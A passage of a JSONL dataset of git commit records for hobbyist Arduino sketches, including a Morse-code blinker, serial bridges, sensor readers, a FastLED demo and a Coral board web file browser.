50;\nint letterSpace = 100;\nint wordSpace = 600;\n\n\/\/ setting pin 13 as output\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n}\n\n\nvoid loop() {\n \n\/\/ Word WHAT ---------------------------------------------------------------\n\n \/\/ letter \"W\" = .--\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n \/\/ letter space\n delay(letterSpace);\n \n \/\/ letter H = ....\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n \/\/ letter space\n delay(letterSpace);\n \n \/\/ letter A = .-\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n \/\/ letter space\n delay(letterSpace);\n \n \/\/ letter T = -\n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n \/\/ word HATH --------------------------------------------------------------\n delay(wordSpace);\n \n \/\/ letter H = ....\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n \/\/ letter space\n delay(letterSpace);\n \n \/\/ letter A = .-\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n\n \/\/ letter space\n delay(letterSpace);\n \n \/\/ letter T = -\n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n \/\/ letter space\n delay(letterSpace);\n \n \/\/ letter H = ....\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n \/\/ word GOD --------------------------------------------------------------\n delay(wordSpace);\n \n \/\/ letter G = --.\n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n\/\/ letter space\n delay(letterSpace);\n \n \/\/ letter O = . .\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n\/\/ letter space\n delay(letterSpace);\n \n \/\/ letter D = -..\n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n \/\/ word WROUGHT --------------------------------------------------------------\n delay(wordSpace);\n \n \/\/ letter \"W\" = .--\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n \/\/ letter space\n delay(letterSpace);\n \n \/\/ letter R = . ..\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n\n delay(space);\n\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n\/\/ letter space\n delay(letterSpace);\n\n \/\/ letter O = . .\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n\/\/ letter space\n delay(letterSpace);\n \n \/\/ letter U = ..-\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n\/\/ letter space\n delay(letterSpace);\n\n \/\/ letter G = --.\n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n\/\/ letter space\n delay(letterSpace);\n \n \/\/ letter H = ....\n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n digitalWrite(ledPin, HIGH);\n delay(dit);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n\/\/ letter space\n delay(letterSpace);\n \n \/\/ letter T = -\n digitalWrite(ledPin, HIGH);\n delay(dah);\n digitalWrite(ledPin, LOW);\n delay(space);\n \n\/\/ pause before repeat\ndelay(wordSpace);\ndelay(wordSpace);\ndelay(wordSpace);\n \n }\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'people\/twobeers83\/Week4\/Arduino\/MorseBasic\/TZ_Assignment4Basic\/TZ_Assignment4Basic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3504dc86fa059e9fc691ea36f0f8a7a0a51e2f20","subject":"added","message":"added\n","repos":"DeltaFlo\/DiscoJar,DeltaFlo\/DiscoJar","old_file":"ESP8266Setup\/ESP8266Setup.ino","new_file":"ESP8266Setup\/ESP8266Setup.ino","new_contents":"\nvoid setup() {\n \n \/\/ Setup computer to Teensy serial\n Serial.begin(115200);\n\n delay(5000);\n\n \/\/ Setup Teensy to ESP8266 serial\n Serial1.begin(115200);\n\n}\n\nvoid loop() {\n\n \/\/ Send bytes from ESP8266 -> Teensy to Computer\n if ( Serial1.available() ) {\n Serial.write( Serial1.read() );\n }\n\n \/\/ Send bytes from Computer -> Teensy back to ESP8266\n if ( Serial.available() ) {\n Serial1.write( Serial.read() );\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266Setup\/ESP8266Setup.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"24ebe0733eb549bf0009579e40da58e6ea3ef1d1","subject":"Adds WebFileBrowserExample","message":"Adds WebFileBrowserExample\n\nChange-Id: I4fcc621777095138bb481a1821fb9c8740192c36\nGitOrigin-RevId: f5d9b5c77c8ff4d828a367ca6e5aa3135c7a4456\n","repos":"google-coral\/coralmicro,google-coral\/coralmicro,google-coral\/coralmicro,google-coral\/coralmicro,google-coral\/coralmicro","old_file":"arduino\/libraries\/Network\/examples\/WebFileBrowser\/WebFileBrowser.ino","new_file":"arduino\/libraries\/Network\/examples\/WebFileBrowser\/WebFileBrowser.ino","new_contents":"\/*\n * Copyright 2022 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <coralmicro_SD.h>\n\n#include <algorithm>\n#include <cstdio>\n#include <cstring>\n#include <map>\n#include <memory>\n#include <vector>\n\n#include \"Arduino.h\"\n#include \"libs\/base\/filesystem.h\"\n#include \"libs\/base\/http_server.h\"\n#include \"libs\/base\/led.h\"\n#include \"libs\/base\/strings.h\"\n#include \"libs\/base\/utils.h\"\n#include \"third_party\/freertos_kernel\/include\/FreeRTOS.h\"\n#include \"third_party\/freertos_kernel\/include\/task.h\"\n\n\/\/ Hosts an HTTP server on the Dev Board Micro, allowing connected clients\n\/\/ to browse files with a web browser, and push\/pull files to the board with\n\/\/ curl commands.\nusing namespace coralmicro;\nnamespace {\nconstexpr char kUrlPrefix[] = \"\/fs\/\";\n\nvoid RemoveDuplicateChar(std::string& s, char ch) {\n s.erase(std::unique(s.begin(), s.end(),\n [ch](char a, char b) { return a == ch && b == ch; }),\n s.end());\n}\n\nstd::string GetPath(const char* uri) {\n static constexpr char kIndexShtml[] = \"index.shtml\";\n std::string path(uri);\n RemoveDuplicateChar(path, '\/');\n\n if (StrEndsWith(path, kIndexShtml))\n return path.substr(0, path.size() - StrLen(kIndexShtml));\n return path;\n}\n\nbool DirHtml(SDFile dir, const char* dirname, std::vector<uint8_t>* html) {\n StrAppend(html, \"<!DOCTYPE html>\\r\\n\");\n StrAppend(html, \"<html lang=\\\"en\\\">\\r\\n\");\n StrAppend(html, \"<head>\\r\\n\");\n StrAppend(html,\n \"<meta http-equiv=\\\"Content-Type\\\" content=\\\"text\/html; \"\n \"charset=utf-8\\\">\\r\\n\");\n StrAppend(html, \"<title>Directory listing for %s<\/title>\\r\\n\", dirname);\n StrAppend(html, \"<\/head>\\r\\n\");\n StrAppend(html, \"<body>\\r\\n\");\n StrAppend(html, \"<h1>Directory listing for %s<\/h1>\\r\\n\", dirname);\n StrAppend(html, \"<hr>\\r\\n\");\n StrAppend(html, \"<table>\\r\\n\");\n if (!SD.exists(dir.name())) return false;\n while (true) {\n SDFile entry = dir.openNextFile();\n if (!entry) {\n break;\n }\n if (!entry.isDirectory()) {\n StrAppend(html, \"<tr>\\r\\n\");\n StrAppend(html, \"<td>🗎<\/td>\\r\\n\");\n StrAppend(html, \"<td><a href=\\\"%s%s%s\\\">%s<\/a><\/td>\\r\\n\", kUrlPrefix,\n dirname + 1, entry.name(), entry.name());\n StrAppend(html, \"<td>%d<\/td>\", entry.size());\n StrAppend(html, \"<\/tr>\\r\\n\");\n } else {\n if (std::strcmp(entry.name(), \".\") == 0) continue;\n StrAppend(html, \"<tr>\\r\\n\");\n StrAppend(html, \"<td>📁<\/td>\\r\\n\");\n StrAppend(html, \"<td><a href=\\\"%s%s%s\/\\\">%s\/<\/a><\/td>\\r\\n\", kUrlPrefix,\n dirname + 1, entry.name(), entry.name());\n StrAppend(html, \"<td><\/td>\\r\\n\");\n StrAppend(html, \"<\/tr>\\r\\n\");\n }\n entry.close();\n }\n StrAppend(html, \"<\/table>\\r\\n\");\n StrAppend(html, \"<hr>\\r\\n\");\n StrAppend(html, \"<\/body>\\r\\n\");\n StrAppend(html, \"<\/html>\\r\\n\");\n return true;\n}\n\nHttpServer::Content UriHandler(const char* uri) {\n if (!StrStartsWith(uri, kUrlPrefix)) return {};\n auto path = GetPath(uri + StrLen(kUrlPrefix) - 1);\n assert(!path.empty() && path.front() == '\/');\n\n Serial.print(\"GET \");\n Serial.print(uri);\n Serial.print(\" => \");\n Serial.println(path.c_str());\n\n if (SD.exists(path.c_str())) {\n SDFile file = SD.open(path.c_str());\n if (!file.isDirectory()) {\n file.close();\n return path;\n } else {\n \/\/ Make sure directory path has '\/' at the end.\n if (path.back() != '\/') path.push_back('\/');\n\n std::vector<uint8_t> html;\n html.reserve(1024);\n if (!DirHtml(file, path.c_str(), &html)) {\n file.close();\n return {};\n }\n file.close();\n return html;\n }\n }\n return {};\n}\n\nclass FileHttpServer : public HttpServer {\n public:\n err_t PostBegin(void* connection, const char* uri, const char* http_request,\n u16_t http_request_len, int content_len, char* response_uri,\n u16_t response_uri_len, u8_t* post_auto_wnd) override {\n (void)http_request;\n (void)http_request_len;\n (void)response_uri;\n (void)response_uri_len;\n (void)post_auto_wnd;\n\n if (!StrStartsWith(uri, kUrlPrefix)) return ERR_ARG;\n auto path = GetPath(uri + StrLen(kUrlPrefix) - 1);\n assert(!path.empty() && path.front() == '\/');\n\n if (path.back() == '\/') return ERR_ARG;\n assert(path.size() > 1);\n\n Serial.print(\"POST \");\n Serial.print(uri);\n Serial.print(\" (\");\n Serial.print(content_len);\n Serial.print(\" bytes) => \");\n Serial.println(path.c_str());\n\n auto dirname = LfsDirname(path.c_str());\n if (!SD.mkdir(dirname.c_str())) return ERR_ARG;\n\n SD.remove(path.c_str());\n SDFile file = SD.open(path.c_str(), FILE_WRITE);\n if (!file) return ERR_ARG;\n\n files_[connection] = {std::move(file), std::move(dirname)};\n return ERR_OK;\n }\n\n err_t PostReceiveData(void* connection, struct pbuf* p) override {\n SDFile file = files_[connection].file;\n struct pbuf* cp = p;\n while (cp) {\n if (file.write(reinterpret_cast<uint8_t const*>(cp->payload), cp->len) !=\n cp->len)\n return ERR_ARG;\n cp = p->next;\n }\n pbuf_free(p);\n return ERR_OK;\n }\n\n void PostFinished(void* connection, char* response_uri,\n u16_t response_uri_len) override {\n auto& entry = files_[connection];\n entry.file.close();\n snprintf(response_uri, response_uri_len, \"%s%s\", kUrlPrefix,\n entry.dirname.c_str() + 1);\n files_.erase(connection);\n }\n\n private:\n struct Entry {\n SDFile file;\n std::string dirname;\n };\n std::map<void*, Entry> files_; \/\/ connection-to-entry map\n};\n\nFileHttpServer http_server;\n} \/\/ namespace\n\nvoid setup() {\n Serial.begin(115200);\n \/\/ Turn on Status LED to show the board is on.\n pinMode(PIN_LED_STATUS, OUTPUT);\n digitalWrite(PIN_LED_STATUS, HIGH);\n Serial.println(\"Arduino Web File Browser Example!\");\n\n SD.begin();\n\n http_server.AddUriHandler(UriHandler);\n UseHttpServer(&http_server);\n\n std::string ip;\n if (GetUsbIpAddress(&ip)) {\n Serial.print(\"BROWSE: http:\/\/\");\n Serial.print(ip.c_str());\n Serial.println(kUrlPrefix);\n Serial.print(\"UPLOAD: curl -X POST http:\/\/\");\n Serial.print(ip.c_str());\n Serial.print(kUrlPrefix);\n Serial.println(\"file --data-binary @file\");\n Serial.print(\"DOWNLOAD: curl -O http:\/\/\");\n Serial.print(ip.c_str());\n Serial.print(kUrlPrefix);\n Serial.println(\"file\");\n }\n}\n\nvoid loop() { delay(1000); }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/libraries\/Network\/examples\/WebFileBrowser\/WebFileBrowser.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e6ed1d4f46b9ddb8f97eac4b643f46a4f87d1e00","subject":"adding cap sensor example","message":"adding cap sensor example\n","repos":"GordonMcGregor\/luminous,GordonMcGregor\/luminous,GordonMcGregor\/luminous","old_file":"luminous\/cap_sensor.ino","new_file":"luminous\/cap_sensor.ino","new_contents":"\/\/ CapSense.pde\n\/\/ Paul Badger 2007\n\n\/\/ Fun with capacitive sensing and some machine code - for the Arduino (or Wiring Boards).\n\/\/ Note that the machine code is based on Arduino Board and will probably require some changes for Wiring Board\n\/\/ This works with a high value (1-10M) resistor between an output pin and an input pin.\n\/\/ When the output pin changes it changes the state of the input pin in a time constant determined by R * C\n\/\/ where R is the resistor and C is the capacitance of the pin plus any capacitance present at the sensor.\n\/\/ It is possible when using this setup to see some variation in capacitance when one's hand is 3 to 4 inches from the sensors\n\/\/ Try experimenting with larger sensors. Lower values of R will probably yield higher reliability.\n\/\/ Use 1 M resistor (or less maybe) for absolute touch to activate.\n\/\/ With a 10 M resistor the sensor will start to respond 1-2 inches away\n\n\/\/ Setup\n\/\/ Connect a 10M resistor between pins 8 and 9 on the Arduino Board\n\/\/ Connect a small piece of alluminum or copper foil to a short wire and also connect it to pin 9\n\n\/\/ When using this in an installation or device it's going to be important to use shielded cable if the wire between the sensor is \n\/\/ more than a few inches long, or it runs by anything that is not supposed to be sensed. \n\/\/ Calibration is also probably going to be an issue.\n\/\/ Instead of \"hard wiring\" threshold values - store the \"non touched\" values in a variable on startup - and then compare.\n\/\/ If your sensed object is many feet from the Arduino Board you're probably going to be better off using the Quantum cap sensors.\n\n\/\/ Machine code and Port stuff from a forum post by ARP http:\/\/www.arduino.cc\/cgi-bin\/yabb2\/YaBB.pl?num=1169088394\/0#0\n\n\n\nint i;\nunsigned int x, y;\nfloat accum, fout, fval = .07; \/\/ these are variables for a simple low-pass (smoothing) filter - fval of 1 = no filter - .001 = max filter\n\nvoid setup() {\n Serial.begin(9600);\n\n DDRB=B101; \/\/ DDR is the pin direction register - governs inputs and outputs- 1's are outputs\n \/\/ Arduino pin 8 output, pin 9 input, pin 10 output for \"guard pin\"\n \/\/ preceding line is equivalent to three lines below\n \/\/ pinMode(8, OUTPUT); \/\/ output pin\n \/\/ pinMode(9, INPUT); \/\/ input pin\n \/\/ pinMode(10, OUTPUT); \/\/ guard pin\n digitalWrite(10, LOW); \/\/could also be HIGH - don't use this pin for changing output though\n}\n\nvoid loop() {\n y = 0; \/\/ clear out variables\n x = 0;\n\n for (i=0; i < 4 ; i++ ){ \/\/ do it four times to build up an average - not really neccessary but takes out some jitter\n\n \/\/ LOW-to-HIGH transition\n PORTB = PORTB | 1; \/\/ Same as line below - shows programmer chops but doesn't really buy any more speed\n \/\/ digitalWrite(8, HIGH); \n \/\/ output pin is PortB0 (Arduino smiley-cool, sensor pin is PortB1 (Arduinio 9) \n\n while ((PINB & B10) != B10 ) { \/\/ while the sense pin is not high\n \/\/ while (digitalRead(9) != 1) \/\/ same as above port manipulation above - only 20 times slower! \n x++;\n }\n delay(1);\n\n \/\/ HIGH-to-LOW transition\n PORTB = PORTB & 0xFE; \/\/ Same as line below - these shows programmer chops but doesn't really buy any more speed\n \/\/digitalWrite(8, LOW); \n while((PINB & B10) != 0 ){ \/\/ while pin is not low -- same as below only 20 times faster\n \/\/ while(digitalRead(9) != 0 ) \/\/ same as above port manipulation - only 20 times slower!\n y++; \n }\n\n delay(1);\n }\n\n fout = (fval * (float)x) + ((1-fval) * accum); \/\/ Easy smoothing filter \"fval\" determines amount of new data in fout\n accum = fout; \n\n Serial.print((long)x, DEC); \/\/ raw data - Low to High\n Serial.print( \" \");\n Serial.print((long)y, DEC); \/\/ raw data - High to Low\n Serial.print( \" \");\n Serial.println( (long)fout, DEC); \/\/ Smoothed Low to High\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'luminous\/cap_sensor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"eab6a29b0294ea8cb9a3bb44e925db152656bdb7","subject":"Create palette_basic_setup.ino","message":"Create palette_basic_setup.ino","repos":"marmilicious\/FastLED_examples","old_file":"palette_basic_setup.ino","new_file":"palette_basic_setup.ino","new_contents":"\/\/***************************************************************\n\/\/ Basic palette example using one of FastLED's palettes.\n\/\/\n\/\/ FastLED includes these pre-defined palettes:\n\/\/ RainbowColors_p, RainbowStripeColors_p, OceanColors_p,\n\/\/ CloudColors_p, LavaColors_p, ForestColors_p, and PartyColors_p\n\/\/\n\/\/ Marc Miller, March 2019\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\n#define BRIGHTNESS 100\nCRGB leds[NUM_LEDS];\n\nuint8_t startIndex;\nuint8_t colorIndex;\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(1500); \/\/ startup delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n colorIndex = startIndex;\n for( int i = 0; i < NUM_LEDS; i++) {\n \/\/ColorFromPalette( paletteName, colorIndex[0-255], brightness[0-255], blendType[NOBLEND or LINEARBLEND])\n leds[i] = ColorFromPalette( RainbowColors_p, colorIndex, 255, LINEARBLEND);\n colorIndex = colorIndex + 10; \/\/how fast to advance through palette\n }\n\n FastLED.show();\n FastLED.delay(10);\n startIndex = startIndex + 1; \/\/how fast to move the palette down the strip\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'palette_basic_setup.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f5a6ec2ce6f4b8a7765e367ca379f11db69f4962","subject":"Sharp dust sensor sample code","message":"Sharp dust sensor sample code\n","repos":"alaviali\/OBI,alaviali\/OBI","old_file":"Meng\/Sharp.ino","new_file":"Meng\/Sharp.ino","new_contents":"#define DUST_PIN 0\nint dustVal = 0;\n\n#define LED_POWER 2\nint delayTime = 280;\nint delayTime2 = 40;\nfloat offTime = 9680;\nvoid setup()\n{\n\tSerial.begin(9600);\n\tpinMode(LED_POWER, OUTPUT);\n\tpinMode(4, OUTPUT);\n}\n\nvoid loop()\n{\n\t\/\/ ledPower is any digital pin on the arduino connected to Pin 3 on the sensor\n\tdigitalWrite(LED_POWER, LOW); \/\/ power on the LED\n\tdelay(delayTime);\n\tdustVal = analogRead(DUST_PIN); \/\/ read the dust value via pin 5 on the sensor\n\tdelay(delayTime2);\n\tdigitalWrite(LED_POWER, HIGH); \/\/ turn the LED off\n\tdelay(offTime);\n\n\tdelay(200);\n\tSerial.print(\"Dust value: \");\n\tSerial.println(dustVal);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Meng\/Sharp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c1afd115a9cedc7ca733ff9f8ffeb87c88bbfd75","subject":"arduino serial","message":"arduino serial\n","repos":"ubaldino\/pyloop,ubaldino\/pyloop","old_file":"ledSerial\/ledSerial.ino","new_file":"ledSerial\/ledSerial.ino","new_contents":"void setup(){\n Serial.begin( 9600 );\n pinMode( 13 , 1 );\n}\nvoid loop(){\n \n if( Serial.available() ){\n char valor = (char) Serial.read();\n if( valor == '0' ){\n \t\tdigitalWrite( 2 , 1 );\n digitalWrite( 3 , 1 );\n \t\tdigitalWrite( 4 , 1 );\n digitalWrite( 5 , 1 );\n \t\tdigitalWrite( 6 , 1 );\n digitalWrite( 7 , 1 );\n \t\tdigitalWrite( 8 , 0 ); \n }\n if( valor == '1' ){\n \t\tdigitalWrite( 2 , 0 );\n digitalWrite( 3 , 1 );\n \t\tdigitalWrite( 4 , 1 );\n digitalWrite( 5 , 0 );\n \t\tdigitalWrite( 6 , 0 );\n digitalWrite( 7 , 0 );\n \t\tdigitalWrite( 8 , 0 ); \n }\n if( valor == '2' ){\n \t\tdigitalWrite( 2 , 1 );\n digitalWrite( 3 , 1 );\n \t\tdigitalWrite( 4 , 0 );\n digitalWrite( 5 , 1 );\n \t\tdigitalWrite( 6 , 1 );\n digitalWrite( 7 , 0 );\n \t\tdigitalWrite( 8 , 1 ); \n }\n if( valor == '3' ){\n \t\tdigitalWrite( 2 , 1 );\n digitalWrite( 3 , 1 );\n \t\tdigitalWrite( 4 , 1 );\n digitalWrite( 5 , 1 );\n \t\tdigitalWrite( 6 , 0 );\n digitalWrite( 7 , 0 );\n \t\tdigitalWrite( 8 , 1 ); \n }\n if( valor == '4' ){\n \t\tdigitalWrite( 2 , 0 );\n digitalWrite( 3 , 1 );\n \t\tdigitalWrite( 4 , 1 );\n digitalWrite( 5 , 0 );\n \t\tdigitalWrite( 6 , 0 );\n digitalWrite( 7 , 1 );\n \t\tdigitalWrite( 8 , 1 );\n } \n if( valor == '5' ){\n \t\tdigitalWrite( 2 , 1 );\n digitalWrite( 3 , 0 );\n \t\tdigitalWrite( 4 , 1 );\n digitalWrite( 5 , 1 );\n \t\tdigitalWrite( 6 , 0 );\n digitalWrite( 7 , 1 );\n \t\tdigitalWrite( 8 , 1 ); \n }\n if( valor == '6' ){\n \t\tdigitalWrite( 2 , 0 );\n digitalWrite( 3 , 0 );\n \t\tdigitalWrite( 4 , 1 );\n digitalWrite( 5 , 1 );\n \t\tdigitalWrite( 6 , 1 );\n digitalWrite( 7 , 1 );\n \t\tdigitalWrite( 8 , 1 ); \n }\n if( valor == '7' ){\n \t\tdigitalWrite( 2 , 1 );\n digitalWrite( 3 , 1 );\n \t\tdigitalWrite( 4 , 1 );\n digitalWrite( 5 , 0 );\n \t\tdigitalWrite( 6 , 0 );\n digitalWrite( 7 , 0 );\n \t\tdigitalWrite( 8 , 0 ); \n }\n if( valor == '8' ){\n \t\tdigitalWrite( 2 , 1 );\n digitalWrite( 3 , 1 );\n \t\tdigitalWrite( 4 , 1 );\n digitalWrite( 5 , 1 );\n \t\tdigitalWrite( 6 , 1 );\n digitalWrite( 7 , 1 );\n \t\tdigitalWrite( 8 , 1 ); \n }\n if( valor == '9' ){\n \t\tdigitalWrite( 2 , 1 );\n digitalWrite( 3 , 1 );\n \t\tdigitalWrite( 4 , 1 );\n digitalWrite( 5 , 0 );\n \t\tdigitalWrite( 6 , 0 );\n digitalWrite( 7 , 1 );\n \t\tdigitalWrite( 8 , 1 ); \n }\n }\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ledSerial\/ledSerial.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1ca4e924cc3c3bd59920ae6794a6b6c605f01653","subject":"update","message":"update\n","repos":"fieldsciencerobotics\/flag_indicators,fieldsciencerobotics\/flag_indicators,fieldsciencerobotics\/indicator-flags,fieldsciencerobotics\/indicator-flags","old_file":"indicator-flags.ino","new_file":"indicator-flags.ino","new_contents":"\/*\nThe MIT License (MIT)\n\nCopyright (c) 2016 Field Science Robotics\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#include <Arduino.h>\n#include <cc430f5137.h>\n#include \"HardwareSerial.h\"\n#include \"cc430f5137.h\"\n#include \"wiring.h\"\n#include \"Flag.h\"\n#include \"regtable.h\"\n#include \"product.h\"\n#include \"swap.h\"\n\nFlag flag;\nint pin_map[] = {16, 17, 0, 1, 2, 3, 4, 5, 6, 7};\nint pin_map_len = sizeof(pin_map) \/ sizeof(int);\n\nvoid setup() {\n WDTCTL = WDTPW + WDTHOLD; \/\/Stop watchdog timer\n \n swap.init();\n swap.getRegister(REGI_PRODUCTCODE)->getData();\n\n initialise_flags(); \/\/initalise flags\n\n _BIS_SR(LPM0_bits + GIE); \/\/LPM0_bits\n}\n\nvoid initialise_flags()\n{\n for(int i = 0; i < pin_map_len; i++)\n {\n int servo_pin = pin_map[i];\n flag.attach(servo_pin);\n flag.raise(3.0);\n }\n}\n\nvoid loop(){}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'indicator-flags.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f28980a6f9fd6a7d68e5051ed14a5d3c8cf74ee7","subject":"Removed debug garbage","message":"Removed debug garbage\n","repos":"shaneapowell\/SelfCancelingTurnSignal","old_file":"HotRodBlinkn.ino","new_file":"HotRodBlinkn.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/shaneapowell\/SelfCancelingTurnSignal.git\/'\n","license":"mit","lang":"Arduino"} 